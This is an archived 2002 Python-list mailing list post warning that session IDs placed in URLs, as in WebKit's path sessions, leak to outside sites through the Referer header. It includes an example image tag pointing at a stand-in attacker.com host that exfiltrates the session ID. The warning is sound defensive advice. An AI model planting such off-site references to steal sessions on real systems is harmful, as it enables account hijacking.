HTTP state management without cookies?

Paul Rubin phr-n2002a at nightsong.com
Thu Feb 21 18:51:41 EST 2002


Geoffrey Talvola <gtalvola at nameconnector.com> writes:
> Webware's WebKit app server has a different approach that doesn't require
> cookies and also doesn't require adding the session ID to all URL's.  It has
> an option to use "automatic path sessions".  If you turn on this option,
> then WebKit will redirect a request without a session ID like:
> 
> http://foo.bar/cgi-bin/WebKit.cgi/MyServlet
> 
> to:
> 
> http://foo.bar/cgi-bin/WebKit.cgi/_SID_=3678268432/MyServlet
> 
> Since the session ID comes _before_ the name of the servlet, all relative
> links work just fine.  WebKit knows how to parse the URL and extract the
> session ID.

Btw, I better point out a not-so-obvious security peril with this
scheme and any others like it that put the session ID into the URL.

If the ID is for a logged in session (i.e. the user has typed a
password) and needs to be protected from unauthorized access, you have
to be careful of any links on your page that point to other sites.
If the user's browser is pointing at

   http://foo.bar/cgi-bin/WebKit.cgi/_SID_=3678268432/MyServlet

and the user clicks a link on the page to www.attacker.com/whatever,
then the browser will normally send an HTTP GET request to the
attacker.com server containing an HTTP REFERER header which has
your page's URL including the session ID.  The attacker can then
use the session ID from the referer header to hijack the user session.
If you're running something like a web bbs where attackers can
drop their own URL's into messages that they post, they can
carry out the attack without you (the foo.bar owner) ever
adding any links of your own to the attacker.

The user doesn't even have to be made to click a link.
if your page (because of you or the attacker) contains an
   <IMG src=http://www.attacker.com/whatever>
to display an image, the attack happens before the user
has a chance to do anything about it.

There are various hacks you can think up to get around the problem,
but basically putting session ID's in the URL is not a great scheme if
the session needs to be kept secure and you can't carefully control
the page content to not have any off-site references.



More information about the Python-list mailing list